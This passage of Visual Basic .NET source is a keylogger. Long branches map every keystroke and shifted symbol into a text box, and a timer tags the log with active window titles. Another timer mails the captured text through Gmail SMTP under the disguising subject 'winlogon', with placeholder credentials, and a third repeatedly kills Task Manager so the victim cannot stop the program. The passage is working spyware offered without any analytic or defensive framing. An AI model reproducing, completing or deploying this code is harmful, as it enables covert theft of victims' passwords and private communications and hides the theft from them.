
            ElseIf Key = Keys.V Then

                RichTextBox1.Text = RichTextBox1.Text & "v"

            ElseIf Key = Keys.W Then

                RichTextBox1.Text = RichTextBox1.Text & "w"

            ElseIf Key = Keys.X Then

                RichTextBox1.Text = RichTextBox1.Text & "x"

            ElseIf Key = Keys.Y Then

                RichTextBox1.Text = RichTextBox1.Text & "y"

            ElseIf Key = Keys.Z Then

                RichTextBox1.Text = RichTextBox1.Text & "z"

            ElseIf Key = Keys.Oemcomma Then

                RichTextBox1.Text = RichTextBox1.Text & ","

            ElseIf Key = Keys.OemMinus Then

                RichTextBox1.Text = RichTextBox1.Text & "-"

            ElseIf Key = Keys.OemQuotes Then

                RichTextBox1.Text = RichTextBox1.Text & "'"

            ElseIf Key = Keys.OemOpenBrackets Then

                RichTextBox1.Text = RichTextBox1.Text & "["

            ElseIf Key = Keys.OemCloseBrackets Then

                RichTextBox1.Text = RichTextBox1.Text & "]"

            ElseIf Key = Keys.OemQuestion Then

                RichTextBox1.Text = RichTextBox1.Text & "/"

            ElseIf Key = Keys.OemPipe Then

                RichTextBox1.Text = RichTextBox1.Text & "\"

            ElseIf Key = Keys.Oem1 Then

                RichTextBox1.Text = RichTextBox1.Text & ";"

            ElseIf Key = Keys.OemPeriod Then

                RichTextBox1.Text = RichTextBox1.Text & "."

            ElseIf Key = Keys.Oemtilde Then

                RichTextBox1.Text = RichTextBox1.Text & "`"

            ElseIf Key = Keys.Space Then

                RichTextBox1.Text = RichTextBox1.Text & " "

            ElseIf Key = Keys.Enter Then

                RichTextBox1.Text = RichTextBox1.Text & vbNewLine

            ElseIf Key = Keys.F1 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F1]"

            ElseIf Key = Keys.F2 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F2]"

            ElseIf Key = Keys.F3 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F3]"

            ElseIf Key = Keys.F4 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F4]"

            ElseIf Key = Keys.F5 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F5]"

            ElseIf Key = Keys.F6 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F6]"

            ElseIf Key = Keys.F7 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F7]"

            ElseIf Key = Keys.F8 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F8]"

            ElseIf Key = Keys.F9 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F9]"

            ElseIf Key = Keys.F10 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F10]"

            ElseIf Key = Keys.F11 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F11]"

            ElseIf Key = Keys.F12 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F12]"

            ElseIf Key = Keys.Delete Then

                RichTextBox1.Text = RichTextBox1.Text.Remove(RichTextBox1.Text.Length - 1, 1)

            ElseIf Key = Keys.Back Then

                RichTextBox1.Text = RichTextBox1.Text.Remove(RichTextBox1.Text.Length - 1, 1)

            ElseIf Key = Keys.Down Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Up Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Left Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Right Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Tab Then

                RichTextBox1.Text = RichTextBox1.Text & "[TAB]"

            ElseIf Key = Keys.End Then

                RichTextBox1.Text = RichTextBox1.Text & "[END]"

            ElseIf Key = Keys.Escape Then

                RichTextBox1.Text = RichTextBox1.Text & "[ESC]"

            ElseIf Key = Keys.Divide Then

                RichTextBox1.Text = RichTextBox1.Text & "/"

            ElseIf Key = Keys.Decimal Then

                RichTextBox1.Text = RichTextBox1.Text & "."

            ElseIf Key = Keys.Subtract Then

                RichTextBox1.Text = RichTextBox1.Text & "-"

            ElseIf Key = Keys.Add Then

                RichTextBox1.Text = RichTextBox1.Text & "+"

            ElseIf Key = Keys.Multiply Then

                RichTextBox1.Text = RichTextBox1.Text & "*"

            End If

        ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then

            If Key = Keys.D1 Then

                RichTextBox1.Text = RichTextBox1.Text + "!"

            ElseIf Key = Keys.D2 Then

                RichTextBox1.Text = RichTextBox1.Text + "@"

            ElseIf Key = Keys.D3 Then

                RichTextBox1.Text = RichTextBox1.Text + "#"

            ElseIf Key = Keys.D4 Then

                RichTextBox1.Text = RichTextBox1.Text + "$"

            ElseIf Key = Keys.D5 Then

                RichTextBox1.Text = RichTextBox1.Text + "%"

            ElseIf Key = Keys.D6 Then

                RichTextBox1.Text = RichTextBox1.Text + "^"

            ElseIf Key = Keys.D7 Then

                RichTextBox1.Text = RichTextBox1.Text + "&"

            ElseIf Key = Keys.D8 Then

                RichTextBox1.Text = RichTextBox1.Text + "*"

            ElseIf Key = Keys.D9 Then

                RichTextBox1.Text = RichTextBox1.Text + "("

            ElseIf Key = Keys.D0 Then

                RichTextBox1.Text = RichTextBox1.Text + ")"

            ElseIf Key = Keys.A Then

                RichTextBox1.Text = RichTextBox1.Text & "A"

            ElseIf Key = Keys.B Then

                RichTextBox1.Text = RichTextBox1.Text & "B"

            ElseIf Key = Keys.C Then

                RichTextBox1.Text = RichTextBox1.Text & "C"

            ElseIf Key = Keys.D Then

                RichTextBox1.Text = RichTextBox1.Text & "D"

            ElseIf Key = Keys.E Then

                RichTextBox1.Text = RichTextBox1.Text & "E"

            ElseIf Key = Keys.F Then

                RichTextBox1.Text = RichTextBox1.Text & "F"

            ElseIf Key = Keys.G Then

                RichTextBox1.Text = RichTextBox1.Text & "G"

            ElseIf Key = Keys.H Then

                RichTextBox1.Text = RichTextBox1.Text & "H"

            ElseIf Key = Keys.I Then

                RichTextBox1.Text = RichTextBox1.Text & "I"

            ElseIf Key = Keys.J Then

                RichTextBox1.Text = RichTextBox1.Text & "J"

            ElseIf Key = Keys.K Then

                RichTextBox1.Text = RichTextBox1.Text & "K"

            ElseIf Key = Keys.L Then

                RichTextBox1.Text = RichTextBox1.Text & "L"

            ElseIf Key = Keys.M Then

                RichTextBox1.Text = RichTextBox1.Text & "M"

            ElseIf Key = Keys.N Then

                RichTextBox1.Text = RichTextBox1.Text & "N"

            ElseIf Key = Keys.O Then

                RichTextBox1.Text = RichTextBox1.Text & "O"

            ElseIf Key = Keys.P Then

                RichTextBox1.Text = RichTextBox1.Text & "P"

            ElseIf Key = Keys.Q Then

                RichTextBox1.Text = RichTextBox1.Text & "Q"

            ElseIf Key = Keys.R Then

                RichTextBox1.Text = RichTextBox1.Text & "R"

            ElseIf Key = Keys.S Then

                RichTextBox1.Text = RichTextBox1.Text & "S"

            ElseIf Key = Keys.T Then

                RichTextBox1.Text = RichTextBox1.Text & "T"

            ElseIf Key = Keys.U Then

                RichTextBox1.Text = RichTextBox1.Text & "U"

            ElseIf Key = Keys.V Then

                RichTextBox1.Text = RichTextBox1.Text & "V"

            ElseIf Key = Keys.W Then

                RichTextBox1.Text = RichTextBox1.Text & "W"

            ElseIf Key = Keys.X Then

                RichTextBox1.Text = RichTextBox1.Text & "X"

            ElseIf Key = Keys.Y Then

                RichTextBox1.Text = RichTextBox1.Text & "Y"

            ElseIf Key = Keys.Z Then

                RichTextBox1.Text = RichTextBox1.Text & "Z"

            ElseIf Key = Keys.Oemcomma Then

                RichTextBox1.Text = RichTextBox1.Text & "<"

            ElseIf Key = Keys.OemMinus Then

                RichTextBox1.Text = RichTextBox1.Text & "_"

            ElseIf Key = Keys.OemOpenBrackets Then

                RichTextBox1.Text = RichTextBox1.Text & "{"

            ElseIf Key = Keys.OemCloseBrackets Then

                RichTextBox1.Text = RichTextBox1.Text & "}"

            ElseIf Key = Keys.OemQuestion Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.OemPipe Then

                RichTextBox1.Text = RichTextBox1.Text & "|"

            ElseIf Key = Keys.Oem1 Then

                RichTextBox1.Text = RichTextBox1.Text & ":"

            ElseIf Key = Keys.OemPeriod Then

                RichTextBox1.Text = RichTextBox1.Text & ">"

            ElseIf Key = Keys.Oemtilde Then

                RichTextBox1.Text = RichTextBox1.Text & "~"

            ElseIf Key = Keys.Space Then

                RichTextBox1.Text = RichTextBox1.Text & " "

            ElseIf Key = Keys.Enter Then

                RichTextBox1.Text = RichTextBox1.Text & vbNewLine

            ElseIf Key = Keys.F1 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F1]"

            ElseIf Key = Keys.F2 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F2]"

            ElseIf Key = Keys.F3 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F3]"

            ElseIf Key = Keys.F4 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F4]"

            ElseIf Key = Keys.F5 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F5]"

            ElseIf Key = Keys.F6 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F6]"

            ElseIf Key = Keys.F7 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F7]"

            ElseIf Key = Keys.F8 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F8]"

            ElseIf Key = Keys.F9 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F9]"

            ElseIf Key = Keys.F10 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F10]"

            ElseIf Key = Keys.F11 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F11]"

            ElseIf Key = Keys.F12 Then

                RichTextBox1.Text = RichTextBox1.Text & "[F12]"

            ElseIf Key = Keys.Delete Then

                RichTextBox1.Text = RichTextBox1.Text.Remove(RichTextBox1.Text.Length - 1, 1)

            ElseIf Key = Keys.Back Then

                RichTextBox1.Text = RichTextBox1.Text.Remove(RichTextBox1.Text.Length - 1, 1)

            ElseIf Key = Keys.Down Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Up Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Left Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Right Then

                RichTextBox1.Text = RichTextBox1.Text & "?"

            ElseIf Key = Keys.Tab Then

                RichTextBox1.Text = RichTextBox1.Text & "[TAB]"

            ElseIf Key = Keys.End Then

                RichTextBox1.Text = RichTextBox1.Text & "[END]"

            ElseIf Key = Keys.Escape Then

                RichTextBox1.Text = RichTextBox1.Text & "[ESC]"

            ElseIf Key = Keys.Divide Then

                RichTextBox1.Text = RichTextBox1.Text & "/"

            ElseIf Key = Keys.Decimal Then

                RichTextBox1.Text = RichTextBox1.Text & "."

            ElseIf Key = Keys.Subtract Then

                RichTextBox1.Text = RichTextBox1.Text & "-"

            ElseIf Key = Keys.Add Then

                RichTextBox1.Text = RichTextBox1.Text & "+"

            ElseIf Key = Keys.Multiply Then

                RichTextBox1.Text = RichTextBox1.Text & "*"

            ElseIf Key = Keys.OemQuotes Then

                RichTextBox1.Text = RichTextBox1.Text & "'"

            End If

        End If

    End Sub



    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        If strin <> GetActiveWindowTitle() Then

            RichTextBox1.Text = RichTextBox1.Text + vbNewLine & "[------" & GetActiveWindowTitle() & "------]" + vbNewLine

            strin = GetActiveWindowTitle()

        End If

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

        Try

            Dim MyMailMessage As New MailMessage()

            MyMailMessage.From = New MailAddress("email")

            MyMailMessage.To.Add("email")

            MyMailMessage.Subject = ("winlogon")

            MyMailMessage.Body = RichTextBox1.Text

            Dim SMTPServer As New SmtpClient("smtp.gmail.com")

            SMTPServer.Port = 587

            SMTPServer.Credentials = New System.Net.NetworkCredential("email ", "hasło")

            SMTPServer.EnableSsl = True

            SMTPServer.Send(MyMailMessage)

            RichTextBox1.Text = ("")

        Catch ex As Exception

        End Try

    End Sub

    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick

        For Each selProcess As Process In Process.GetProcesses

            If selProcess.ProcessName = "taskmgr" Then

                selProcess.Kill()

                Exit For

            End If

        Next

    End Sub



    

   

 

End Class